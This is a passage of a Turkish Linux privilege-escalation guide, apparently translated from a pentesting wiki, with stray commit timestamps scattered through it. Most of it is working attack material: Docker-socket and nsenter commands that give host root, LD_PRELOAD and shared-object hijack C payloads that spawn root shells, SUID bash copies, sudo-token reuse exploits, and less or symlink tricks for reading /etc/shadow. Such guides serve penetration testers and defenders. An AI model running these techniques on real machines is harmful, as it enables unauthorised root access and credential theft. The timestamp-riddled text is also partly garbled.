* `Accept`: Bir boolean argüman alır. **true** ise, her gelen bağlantı için bir **hizmet örneği başlatılır** ve yalnızca bağlantı soketi ona iletilir. **false** ise, tüm dinleme soketleri kendileri **başlatılan hizmet birimine iletilir** ve tüm bağlantılar için yalnızca bir hizmet birimi başlatılır. Bu değer, tek bir hizmet biriminin tüm gelen trafiği koşulsuz olarak ele aldığı veri yuvaları ve FIFO'lar için yoksayılır. **Varsayılan olarak false**. Performans nedenlerinden dolayı, yeni daemon'ların yalnızca `Accept=no` için uygun bir şekilde yazılması önerilir.
* `ExecStartPre`, `ExecStartPost`: Bir veya daha fazla komut satırı alır, bunlar dinleme **soketlerinden önce** veya **sonra** yürütülür/FIFO'lar **oluşturulur** ve bağlanır. Komut satırının ilk belirteci mutlaka mutlak bir dosya adı olmalı, ardından işlem için argümanlar gelmelidir.
* `ExecStopPre`, `ExecStopPost`: Dinleme **soketlerinden önce** veya **sonra** ek **komutlar** yürütülür/FIFO'lar **kapatılır** ve kaldırılır.
* `Service`: Gelen trafiği **etkinleştirmek için hizmet** birimi adını belirtir. Bu ayar yalnızca Accept=no olan soketler için izin verilir. Varsayılan olarak, aynı adı taşıyan hizmeti belirtir (soneki değiştirilmiş olarak). Çoğu durumda, bu seçeneği kullanmanın gerekli olmaması gerekir.
2024-02-10 18:14:16 +00:00
### Yazılabilir .socket dosyaları
Eğer **yazılabilir** bir `.socket` dosyası bulursanız, `[Socket]` bölümünün başına şöyle bir şey ekleyebilirsiniz: `ExecStartPre=/home/kali/sys/backdoor` ve arka kapı soket oluşturulmadan önce yürütülecektir. Bu nedenle, muhtemelen makinenin yeniden başlatılmasını **beklemeniz gerekebilir.**\
_Not: Sistem o soket dosyası yapılandırmasını kullanıyor olmalı veya arka kapı yürütülmeyecektir_
2024-02-10 18:14:16 +00:00
### Yazılabilir soketler
Eğer **herhangi bir yazılabilir soket** belirlerseniz (_şu anda Unix Soketleri hakkında konuşuyoruz ve `.socket` dosyaları yapılandırması hakkında değil_), o soketle **iletişim kurabilir** ve belki bir zafiyeti sömürebilirsiniz.
2024-04-06 19:40:41 +00:00
### Unix Soketlerini Sırala
2024-02-10 18:14:16 +00:00
```bash
netstat -a -p --unix
```
### Ham bağlantı
2020-08-25 22:42:49 +00:00
```bash
#apt-get install netcat-openbsd
nc -U /tmp/socket #Connect to UNIX-domain stream socket
nc -uU /tmp/socket #Connect to UNIX-domain datagram socket
#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type
```
**Sömürü örneği:**
2020-08-25 22:42:49 +00:00
2021-10-10 21:09:04 +00:00
{% content-ref url="socket-command-injection.md" %}
[socket-command-injection.md](socket-command-injection.md)
{% endcontent-ref %}
2020-08-25 22:42:49 +00:00
2024-02-10 18:14:16 +00:00
### HTTP soketleri
Unutmayın ki bazı **HTTP isteklerini dinleyen soketler** olabilir (_Ben .socket dosyalarından bahsetmiyorum, ancak unix soketleri olarak hareket eden dosyalardan bahsediyorum_). Bunun kontrolünü şu şekilde yapabilirsiniz:
```bash
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
```
2024-02-10 18:14:16 +00:00
### Yazılabilir Docker Soketi
2020-08-26 15:52:43 +00:00
Docker soketi, genellikle `/var/run/docker.sock` konumunda bulunan ve güvenli olması gereken kritik bir dosyadır. Varsayılan olarak, bu dosya `root` kullanıcısı ve `docker` grubundaki üyeler tarafından yazılabilir durumdadır. Bu sokete yazma erişiminin olması, ayrıcalık yükseltmeye yol açabilir. Bunun nasıl yapılabileceği ve Docker CLI kullanılamıyorsa alternatif yöntemler aşağıda açıklanmıştır.
2024-02-07 04:06:18 +00:00
#### **Docker CLI ile Ayrıcalık Yükseltme**
2020-08-26 15:52:43 +00:00
2024-02-10 18:14:16 +00:00
Eğer Docker soketine yazma erişiminiz varsa, aşağıdaki komutları kullanarak ayrıcalıkları yükseltebilirsiniz:
2020-08-26 15:52:43 +00:00
```bash
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
```
Bu komutlar, ana bilgisayar dosya sisteminin kök düzey erişimine sahip bir konteyneri çalıştırmanıza olanak tanır.
#### **Docker API'sını Doğrudan Kullanma**
2020-09-01 09:02:57 +00:00
Docker CLI kullanılamadığında Docker soketi, Docker API ve `curl` komutları kullanılarak hala manipüle edilebilir.
1. **Docker Görüntülerini Listeleme:** Mevcut görüntülerin listesini alın.
2024-02-10 18:14:16 +00:00
```bash
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
```
2. **Bir Konteyner Oluşturma:** Ana sistem kök dizinini bağlayan bir konteyner oluşturmak için bir istek gönderin.
2024-02-10 18:14:16 +00:00
```bash
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
```
2024-02-10 18:14:16 +00:00
Yeni oluşturulan konteyneri başlatın:
2024-02-07 04:06:18 +00:00
2024-02-10 18:14:16 +00:00
```bash
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
```
3. **Konteynere Bağlanma:** `socat` kullanarak bir bağlantı kurarak, içinde komut yürütme imkanı sağlayan bir bağlantı oluşturun.
2024-02-07 04:06:18 +00:00
2024-02-10 18:14:16 +00:00
```bash
socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp
```
2024-02-07 04:06:18 +00:00
`socat` bağlantısını kurduktan sonra, ana bilgisayar dosya sisteminin kök düzey erişimine sahip olarak konteynerde doğrudan komutlar yürütebilirsiniz.
2020-08-26 15:52:43 +00:00
2024-02-10 18:14:16 +00:00
### Diğerleri
2020-09-01 09:02:57 +00:00
Docker soketi üzerinde yazma izinleriniz varsa çünkü **`docker` grubu içindesiniz**, [**ayrıcalıkları yükseltmek için daha fazla yolunuz olabilir**](interesting-groups-linux-pe/#docker-group). [**Docker API'nin bir portta dinlediği durumda, bunu tehlikeye atabilirsiniz**](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
2020-08-26 15:52:43 +00:00
Docker'dan kaçmak veya ayrıcalıkları yükseltmek için **daha fazla yolunuzu kırmak için** kontrol edin:
2022-01-16 17:15:05 +00:00
{% content-ref url="docker-security/" %}
[docker-security](docker-security/)
2022-01-16 17:15:05 +00:00
{% endcontent-ref %}
## Containerd (ctr) ayrıcalık yükseltme
Eğer **`ctr`** komutunu kullanabildiğinizi fark ederseniz, **ayrıcalıkları yükseltmek için bunu kötüye kullanabilirsiniz**:
2021-10-10 21:09:04 +00:00
{% content-ref url="containerd-ctr-privilege-escalation.md" %}
[containerd-ctr-privilege-escalation.md](containerd-ctr-privilege-escalation.md)
{% endcontent-ref %}
## **RunC** ayrıcalık yükseltme
Eğer **`runc`** komutunu kullanabildiğinizi fark ederseniz, **ayrıcalıkları yükseltmek için bunu kötüye kullanabilirsiniz**:
2021-10-10 21:09:04 +00:00
{% content-ref url="runc-privilege-escalation.md" %}
[runc-privilege-escalation.md](runc-privilege-escalation.md)
{% endcontent-ref %}
2022-05-01 13:25:53 +00:00
## **D-Bus**
D-Bus, uygulamaların etkili bir şekilde etkileşimde bulunmasını ve veri paylaşmasını sağlayan sofistike bir **İşlem Arası İletişim (IPC) sistemi**dir. Modern Linux sistemi göz önünde bulundurularak tasarlanmış olup, farklı uygulama iletişim biçimleri için sağlam bir çerçeve sunar.
Sistem, işlem arası iletişimi geliştiren temel IPC'yi destekler ve veri alışverişini artırır, **gelişmiş UNIX etki alanı soketlerini** hatırlatır. Ayrıca olayları veya sinyalleri yayınlamaya yardımcı olur, sistem bileşenleri arasında sorunsuz entegrasyonu teşvik eder. Örneğin, bir Bluetooth hizmetinden gelen bir arama sinyali, bir müzik çaların sessizleşmesine neden olabilir, kullanıcı deneyimini artırır. Ayrıca, D-Bus, hizmet isteklerini ve yöntem çağrılarını basitleştiren bir uzak nesne sistemi destekler, geleneksel olarak karmaşık olan süreçleri basitleştirir.
D-Bus, mesaj izinlerini (yöntem çağrıları, sinyal yayınları vb.) eşleşen politika kurallarının kümülatif etkisine dayanarak yöneten bir **izin/izin verme modeli** üzerinde çalışır. Bu politikalar, otobüsle etkileşimleri yönetir ve bu izinlerin sömürülmesi yoluyla ayrıcalık yükseltmesine olanak tanır.
Örneğin, `/etc/dbus-1/system.d/wpa_supplicant.conf` dosyasındaki bir politika, kök kullanıcısının `fi.w1.wpa_supplicant1`'e ait mesajları sahiplenme, gönderme ve almasına ilişkin izinleri detaylandırır.
2024-04-06 19:40:41 +00:00
Belirli bir kullanıcı veya grup belirtilmeyen politikalar evrensel olarak uygulanırken, "varsayılan" bağlam politikaları, diğer belirli politikalarla kapsanmayan tüm uygulamalar için geçerlidir.
2024-02-07 04:06:18 +00:00
```xml
<policy user="root">
2024-02-10 18:14:16 +00:00
<allow own="fi.w1.wpa_supplicant1"/>
<allow send_destination="fi.w1.wpa_supplicant1"/>
<allow send_interface="fi.w1.wpa_supplicant1"/>
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>
```
**D-Bus iletişimini nasıl sıralayıp istismar edeceğinizi öğrenin:**
2024-04-06 19:40:41 +00:00
{% content-ref url="d-bus-enumeration-and-command-injection-privilege-escalation.md" %}
[d-bus-enumeration-and-command-injection-privilege-escalation.md](d-bus-enumeration-and-command-injection-privilege-escalation.md)
2021-10-10 21:09:04 +00:00
{% endcontent-ref %}
2020-08-07 00:26:17 +00:00
2024-02-10 18:14:16 +00:00
## **Ağ**
Makinenin konumunu belirlemek için ağın sıralanması her zaman ilginçtir.
2024-02-10 18:14:16 +00:00
### Genel sıralama
```bash
2020-08-22 09:45:50 +00:00
#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
dnsdomainname
2020-08-22 09:45:50 +00:00
#Content of /etc/inetd.conf & /etc/xinetd.conf
cat /etc/inetd.conf /etc/xinetd.conf
2020-08-22 14:37:12 +00:00
#Interfaces
2020-08-22 09:45:50 +00:00
cat /etc/networks
(ifconfig || ip a)
2020-08-22 14:37:12 +00:00
#Neighbours
(arp -e || arp -a)
2020-08-22 09:45:50 +00:00
(route || ip n)
2020-08-22 09:45:50 +00:00
#Iptables rules
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)
2020-08-22 14:37:12 +00:00
#Files used by network services
lsof -i
2020-08-20 11:59:57 +00:00
```
2024-02-10 18:14:16 +00:00
### Açık Portlar
2020-08-20 11:59:57 +00:00
Her zaman, erişmeden önce etkileşimde bulunamadığınız makinede çalışan ağ hizmetlerini kontrol edin:
```bash
2020-08-22 09:45:50 +00:00
(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"
```
### Sniffing
2024-04-06 19:40:41 +00:00
Trafik dinleyebildiğinizi kontrol edin. Eğer yapabiliyorsanız, bazı kimlik bilgilerini ele geçirebilirsiniz.
2021-10-10 21:09:04 +00:00
```
2020-08-22 09:45:50 +00:00
timeout 1 tcpdump
```
2024-02-10 18:14:16 +00:00
## Kullanıcılar
### Genel Sıralama
2024-04-06 19:40:41 +00:00
Kendinizin kim olduğunu, hangi ayrıcalıklara sahip olduğunuzu, sistemlerde hangi kullanıcıların bulunduğunu, hangilerinin giriş yapabileceğini ve hangilerinin kök ayrıcalıklarına sahip olduğunu kontrol edin:
```bash
2020-08-22 13:54:28 +00:00
#Info about me
id || (whoami && groups) 2>/dev/null
#List all users
cat /etc/passwd | cut -d: -f1
#List users with console
cat /etc/passwd | grep "sh$"
#List superusers
awk -F: '($3 == "0") {print}' /etc/passwd
#Currently logged users
w
#Login history
last | tail
#Last log of each user
lastlog
#List all users and their groups
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
2020-08-22 13:54:28 +00:00
#Current user PGP keys
gpg --list-keys 2>/dev/null
```
2024-02-10 18:14:16 +00:00
### Büyük UID
Bazı Linux sürümleri, **UID > INT\_MAX** olan kullanıcıların ayrıcalıklarını yükseltmelerine izin veren bir hata ile etkilenmiştir. Daha fazla bilgi için: [buraya](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [buraya](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) ve [buraya](https://twitter.com/paragonsec/status/1071152249529884674).\
2024-02-10 18:14:16 +00:00
**Exploit etmek** için: **`systemd-run -t /bin/bash`**
2024-02-10 18:14:16 +00:00
### Gruplar
Kök ayrıcalıklarını size verebilecek **bazı grup üyesi** olup olmadığını kontrol edin:
2023-01-24 14:43:15 +00:00
{% content-ref url="interesting-groups-linux-pe/" %}
[interesting-groups-linux-pe](interesting-groups-linux-pe/)
2021-10-10 21:09:04 +00:00
{% endcontent-ref %}
2024-02-10 18:14:16 +00:00
### Pano
2020-08-22 13:54:28 +00:00
Panoda ilginç bir şey olup olmadığını kontrol edin (mümkünse)
2020-08-22 13:54:28 +00:00
```bash
if [ `which xclip 2>/dev/null` ]; then
2024-02-10 18:14:16 +00:00
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
echo "Highlighted text: "`xclip -o 2>/dev/null`
elif [ `which xsel 2>/dev/null` ]; then
echo "Clipboard: "`xsel -ob 2>/dev/null`
echo "Highlighted text: "`xsel -o 2>/dev/null`
else echo "Not found xsel and xclip"
fi
2020-08-22 13:54:28 +00:00
```
### Şifre Politikası
2020-08-22 13:54:28 +00:00
```bash
grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs
```
2024-02-10 18:14:16 +00:00
### Bilinen şifreler
2020-08-22 13:54:28 +00:00
Eğer ortamın **herhangi bir şifresini biliyorsanız**, her bir kullanıcı olarak giriş yapmaya çalışın.
2020-08-22 13:54:28 +00:00
2022-05-01 16:57:45 +00:00
### Su Brute
2020-08-22 13:54:28 +00:00
Eğer çok fazla gürültüye neden olmaktan çekinmiyorsanız ve bilgisayarda `su` ve `timeout` ikilisi bulunuyorsa, [su-bruteforce](https://github.com/carlospolop/su-bruteforce) kullanarak kullanıcıyı brute-force deneyebilirsiniz.\
[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite), `-a` parametresi ile kullanıcıları brute-force denemeye çalışır.
2024-02-10 18:14:16 +00:00
## Yazılabilir PATH kötüye kullanımları
2022-05-01 16:57:45 +00:00
### $PATH
Eğer $PATH'in içindeki bazı klasörlere **yazabileceğinizi** fark ederseniz, **yazılabilir klasörün içine geri kapı oluşturarak** ayrı bir kullanıcı (genellikle root) tarafından çalıştırılacak bazı komutların adını taşıyan bir geri kapı oluşturarak ayrıcalıkları yükseltebilirsiniz ve bu komutun $PATH içindeki yazılabilir klasörünüzden önce yer almayan bir klasörden yüklenmediğinden emin olabilirsiniz.
2024-02-10 18:14:16 +00:00
### SUDO ve SUID
Bazı komutları sudo kullanarak veya suid bitine sahip olabilirsiniz. Bunu kontrol etmek için:
```bash
sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries
```
Bazı **beklenmeyen komutlar dosyaları okumanıza ve/veya yazmanıza hatta komut çalıştırmanıza olanak tanır.** Örneğin:
```bash
sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh
sudo tar c a.tar -I ./runme.sh a
ftp>!/bin/sh
less>! <shell_comand>
```
2022-05-01 16:57:45 +00:00
### NOPASSWD
2020-08-20 11:59:57 +00:00
Sudo yapılandırması, bir kullanıcının şifreyi bilmeden başka bir kullanıcının ayrıcalıklarıyla bazı komutları çalıştırmasına izin verebilir.
2021-10-10 21:09:04 +00:00
```
2020-08-20 11:59:57 +00:00
$ sudo -l
User demo may run the following commands on crashlab:
2024-02-10 18:14:16 +00:00
(root) NOPASSWD: /usr/bin/vim
2020-08-20 11:59:57 +00:00
```
Bu örnekte, `demo` kullanıcısı `root` olarak `vim` çalıştırabilir, şimdi bir ssh anahtarı ekleyerek veya `sh` çağırarak kabuk almak çok kolaydır.
2021-10-10 21:09:04 +00:00
```
2020-08-20 11:59:57 +00:00
sudo vim -c '!sh'
```
2022-05-01 16:57:45 +00:00
### SETENV
2020-09-27 23:19:15 +00:00
Bu yönerge, bir şeyi yürütürken bir **çevre değişkeni ayarlamayı** kullanıcıya olanak tanır:
2020-09-27 23:19:15 +00:00
```bash
$ sudo -l
User waldo may run the following commands on admirer:
2024-02-10 18:14:16 +00:00
(ALL) SETENV: /opt/scripts/admin_tasks.sh
2020-09-27 23:19:15 +00:00
```
Bu örnek, **HTB makinesi Admirer**'a dayanarak, betiği kök olarak çalıştırırken keyfi bir python kütüphanesini yüklemek için **PYTHONPATH yönlendirmesine** karşı **savunmasızdı**:
2020-09-27 23:19:15 +00:00
```bash
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
```
### Sudo yürütme yollarını atlayarak
2024-04-06 19:40:41 +00:00
Diğer dosyaları okumak veya sembolik bağlantıları kullanmak için **atla**. Örneğin sudoers dosyasında: _hacker10 ALL= (root) /bin/less /var/log/\*_
```bash
sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less
```
```bash
ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file
```
Eğer bir **joker karakter** (\*) kullanılıyorsa, işlem daha da kolaylaşır:
```bash
sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files
```
2024-02-10 18:14:16 +00:00
**Karşı önlemler**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/)
### Sudo komutu/SUID ikili dosyası komut yolu belirtilmeden
2024-04-06 19:40:41 +00:00
Eğer **sudo izni** bir komuta **yol belirtilmeden** verilmişse: _hacker10 ALL= (root) less_ PATH değiştirilerek bunu sömürülebilirsiniz.
```bash
export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less
```
Bu teknik ayrıca bir **suid** ikili dosyasının **yolunu belirtmeden başka bir komutu çalıştırması durumunda da kullanılabilir (her zaman garip bir SUID ikilisinin içeriğini** _**strings**_ **ile kontrol edin)**.
[Çalıştırılacak yük örnekleri.](payloads-to-execute.md)
2024-02-10 18:14:16 +00:00
### Komut yolunu belirten SUID ikili dosya
Eğer **suid** ikili dosyası **yolu belirterek başka bir komut çalıştırıyorsa**, o zaman, suid dosyanın çağırdığı komut adında bir **fonksiyon ihraç etmeyi** deneyebilirsiniz.
2024-04-06 19:40:41 +00:00
Örneğin, bir suid ikili dosya _**/usr/sbin/service apache2 start**_ komutunu çağırıyorsa, bu fonksiyonu oluşturup ihraç etmeyi denemelisiniz:
```bash
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service
```
2022-06-18 22:09:55 +00:00
### LD\_PRELOAD & **LD\_LIBRARY\_PATH**
**LD\_PRELOAD** çevresel değişkeni, yükleyicinin diğer tüm kütüphanelerden önce, özellikle `libc.so` gibi standart C kütüphanesinden önce yüklenmesi gereken bir veya daha fazla paylaşılan kütüphane (.so dosyaları) belirtmek için kullanılır. Bu işlem, bir kütüphanenin önceden yüklenmesi olarak bilinir.
Ancak, sistem güvenliğini korumak ve özellikle **suid/sgid** yürütülebilir dosyalarla bu özelliğin kötüye kullanılmasını önlemek için sistem belirli koşulları zorlar:
2024-04-06 19:40:41 +00:00
- Yükleyici, gerçek kullanıcı kimliği (_ruid_) etkin kullanıcı kimliği (_euid_) ile eşleşmeyen yürütülebilir dosyalarda **LD\_PRELOAD**'u yok sayar.
- Suid/sgid'li yürütülebilir dosyalar için, yalnızca standart yollardaki ve aynı zamanda suid/sgid olan kütüphaneler önceden yüklenir.
2020-08-20 11:59:57 +00:00
Ayrıcalık yükseltmesi, `sudo` ile komutları yürütme yeteneğine sahipseniz ve `sudo -l` çıktısı **env\_keep+=LD\_PRELOAD** ifadesini içeriyorsa meydana gelebilir. Bu yapılandırma, **LD\_PRELOAD** çevresel değişkeninin kalıcı olmasına ve `sudo` ile komutlar çalıştırıldığında tanınmasına izin verir, bu da potansiyel olarak yükseltilmiş ayrıcalıklarla keyfi kodun yürütülmesine yol açabilir.
2021-10-10 21:09:04 +00:00
```
2020-08-20 11:59:57 +00:00
Defaults env_keep += LD_PRELOAD
```
Kaydet as **/tmp/pe.c**
```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
2024-02-10 18:14:16 +00:00
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
```
Ardından şunu kullanarak derleyin:
```bash
cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles
```
Son olarak, **izinleri yükseltin** çalıştırarak.
```bash
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
```
2022-06-18 22:09:55 +00:00
{% hint style="danger" %}
Benzer bir ayrıcalık yükseltme saldırısı, saldırganın kütüphanelerin aranacağı yolunu kontrol ettiği için **LD\_LIBRARY\_PATH** çevresel değişkenini kontrol ediyorsa istismar edilebilir.
2022-06-18 22:09:55 +00:00
{% endhint %}
```c
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
2024-02-10 18:14:16 +00:00
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
2022-06-18 22:09:55 +00:00
}
```
```bash
# Compile & execute
cd /tmp
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
sudo LD_LIBRARY_PATH=/tmp <COMMAND>
```
2024-02-10 18:14:16 +00:00
### SUID Binary .so enjeksiyonu
2022-06-18 22:09:55 +00:00
Eğer normalden farklı görünen **SUID** izinlerine sahip bir ikili dosya ile karşılaşılırsa, bu dosyanın **.so** dosyalarını düzgün bir şekilde yükleyip yüklemediğini doğrulamak iyi bir uygulamadır. Bu kontrol aşağıdaki komut çalıştırılarak yapılabilir:
```bash
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
```
Örneğin, _"open(“/path/to/.config/libcalc.so”, O\_RDONLY) = -1 ENOENT (No such file or directory)"_ gibi bir hata ile karşılaşmak, sömürü potansiyeli olduğunu düşündürür.
2024-04-06 19:40:41 +00:00
Bunu sömürmek için, aşağıdaki kodu içeren bir C dosyası oluşturarak devam edilir, diyelim ki _"/path/to/.config/libcalc.c"_:
2024-02-10 18:14:16 +00:00
```c
#include <stdio.h>
#include <stdlib.h>
2024-02-07 04:06:18 +00:00
2024-02-10 18:14:16 +00:00
static void inject() __attribute__((constructor));
2024-02-10 18:14:16 +00:00
void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
```
Bu kod, derlendikten ve çalıştırıldıktan sonra dosya izinlerini manipüle ederek ayrıcalıkları yükseltmeyi ve yükseltilmiş ayrıcalıklarla bir kabuk çalıştırmayı amaçlar.
2024-04-06 19:40:41 +00:00
Yukarıdaki C dosyasını paylaşılan nesne (.so) dosyasına derlemek için:
```bash
2024-02-07 04:06:18 +00:00
gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c
```
2024-02-10 18:14:16 +00:00
## Paylaşılan Nesne Kaçırma
2024-04-06 19:40:41 +00:00
Son olarak, etkilenen SUID ikili dosyasını çalıştırmak, potansiyel sistem tehlikesine yol açacak olan saldırıyı tetiklemelidir.
2022-10-02 22:19:40 +00:00
```bash
# Lets find a SUID using a non-standard library
ldd some_suid
something.so => /lib/x86_64-linux-gnu/something.so
# The SUID also loads libraries from a custom location where we can write
readelf -d payroll | grep PATH
0x000000000000001d (RUNPATH) Library runpath: [/development]
```
Şimdi yazma iznimizin olduğu bir klasörden bir kütüphane yükleyen bir SUID ikili bulduğumuza göre, o klasörde gerekli isme sahip kütüphaneyi oluşturalım:
2022-10-02 22:19:40 +00:00
```c
//gcc src.c -fPIC -shared -o /development/libshared.so
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
2024-02-10 18:14:16 +00:00
setresuid(0,0,0);
system("/bin/bash -p");
2022-10-02 22:19:40 +00:00
}
```
2024-02-10 18:14:16 +00:00
Eğer şu gibi bir hata alırsanız:
2022-10-02 22:19:40 +00:00
```shell-session
./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name
```
2024-02-10 18:14:16 +00:00
Bu, oluşturduğunuz kütüphanenin `a_function_name` adında bir işlev içermesi gerektiği anlamına gelir.
2022-10-02 22:19:40 +00:00
2022-05-01 16:57:45 +00:00
### GTFOBins
2020-08-20 11:59:57 +00:00
[**GTFOBins**](https://gtfobins.github.io), bir saldırganın yerel güvenlik kısıtlamalarını atlamak için kullanabileceği Unix ikililerinin derlenmiş bir listesidir. [**GTFOArgs**](https://gtfoargs.github.io/), yalnızca bir komuta argüman enjekte edebileceğiniz durumlar için aynı işlevi görür.
2020-08-20 11:59:57 +00:00
Proje, kısıtlanmış kabuklardan kaçınmak, ayrıcalıkları yükseltmek veya sürdürmek, dosyaları transfer etmek, bağlama ve ters kabuklar oluşturmak ve diğer son aşama saldırı görevlerini kolaylaştırmak için Unix ikililerinin meşru işlevlerini toplar.
2020-08-20 11:59:57 +00:00
2021-10-10 21:09:04 +00:00
> gdb -nx -ex '!sh' -ex quit\
> sudo mysql -e '! /bin/sh'\
> strace -o /dev/null /bin/sh\
> sudo awk 'BEGIN {system("/bin/sh")}'
2020-08-20 11:59:57 +00:00
2021-10-10 21:09:04 +00:00
{% embed url="https://gtfobins.github.io/" %}
2020-08-20 11:59:57 +00:00
{% embed url="https://gtfoargs.github.io/" %}
2022-05-01 16:57:45 +00:00
### FallOfSudo
2020-08-21 13:38:17 +00:00
`sudo -l`'ye erişebiliyorsanız, [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) aracını kullanarak herhangi bir sudo kuralını nasıl sömürüleceğini kontrol edebilirsiniz.
2020-08-21 11:22:11 +00:00
### Sudo Token'larını Tekrar Kullanma
2020-08-21 11:22:11 +00:00
**Sudo erişiminiz** var ancak şifreniz yoksa, **bir sudo komutu yürütülmesini bekleyerek ve ardından oturum belirtecinin ele geçirilmesiyle** ayrıcalıkları yükseltebilirsiniz.
2020-08-21 11:22:11 +00:00
2024-02-10 18:14:16 +00:00
Ayrıcalıkları yükseltmek için gereksinimler:
2020-08-21 11:22:11 +00:00
* Zaten "_sampleuser_" kullanıcısı olarak bir kabuğunuz var
* "_sampleuser_"'ın **son 15 dakika içinde `sudo`** kullanmış olması (varsayılan olarak, şifre gerektirmeden `sudo` kullanmamıza izin veren sudo belirtecinin süresi budur)
* `cat /proc/sys/kernel/yama/ptrace_scope` değeri 0 olmalı
* `gdb` erişilebilir olmalı (yükleme yapabilmelisiniz)
2020-08-26 10:00:51 +00:00
(Bu gereksinimlerin tümü karşılanıyorsa, **aşağıdaki kullanarak ayrıcalıkları yükseltebilirsiniz:** [**https://github.com/nongiach/sudo\_inject**](https://github.com/nongiach/sudo\_inject)
2024-04-06 19:40:41 +00:00
* **İlk saldırı** (`exploit.sh`), `activate_sudo_token` adlı ikili dosyayı _/tmp/_ dizininde oluşturacaktır. Bu dosyayı kullanarak **oturumunuzda sudo belirtecini etkinleştirebilirsiniz** (otomatik olarak kök kabuğa erişmeyeceksiniz, `sudo su` komutunu kullanın):
2020-08-21 11:22:11 +00:00
```bash
bash exploit.sh
/tmp/activate_sudo_token
sudo su
```
* İkinci saldırı (`exploit_v2.sh`) _/tmp_ dizininde **root'a ait setuid ile** bir sh kabuğu oluşturacaktır.
2020-08-21 11:22:11 +00:00
```bash
bash exploit_v2.sh
/tmp/sh -p
```
* Üçüncü saldırı (`exploit_v3.sh`) **sudoers dosyası oluşturacak** ve **sudo belgelerini sonsuz hale getirerek tüm kullanıcıların sudo kullanmasına izin verecek**.
2020-08-21 11:22:11 +00:00
```bash
bash exploit_v3.sh
sudo su
```
2024-02-10 18:14:16 +00:00
### /var/run/sudo/ts/\<Kullanıcı Adı>
2020-08-21 11:22:11 +00:00
Eğer klasörde veya klasör içinde oluşturulan dosyalardan herhangi birinde **yazma izinleriniz** varsa, [**write\_sudo\_token**](https://github.com/nongiach/sudo\_inject/tree/master/extra\_tools) adlı ikili dosyayı kullanarak **bir kullanıcı ve PID için sudo belirteci oluşturabilirsiniz**.\
Örneğin, _/var/run/sudo/ts/örnekkullanıcı_ dosyasını üzerine yazabilir ve PID'si 1234 olan o kullanıcı olarak bir kabuk elde ettiyseniz, şifreyi bilmeden sudo ayrıcalıklarını **elde edebilirsiniz**.
2020-08-21 11:22:11 +00:00
```bash
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
```
2022-05-01 16:57:45 +00:00
### /etc/sudoers, /etc/sudoers.d
2020-08-20 11:59:57 +00:00
2024-02-10 18:14:16 +00:00
Dosya `/etc/sudoers` ve `/etc/sudoers.d` içindeki dosyalar, kimin `sudo` kullanabileceğini ve nasıl kullanabileceğini yapılandırır. Bu dosyalar **varsayılan olarak yalnızca root kullanıcısı ve root grubu tarafından okunabilir**.\
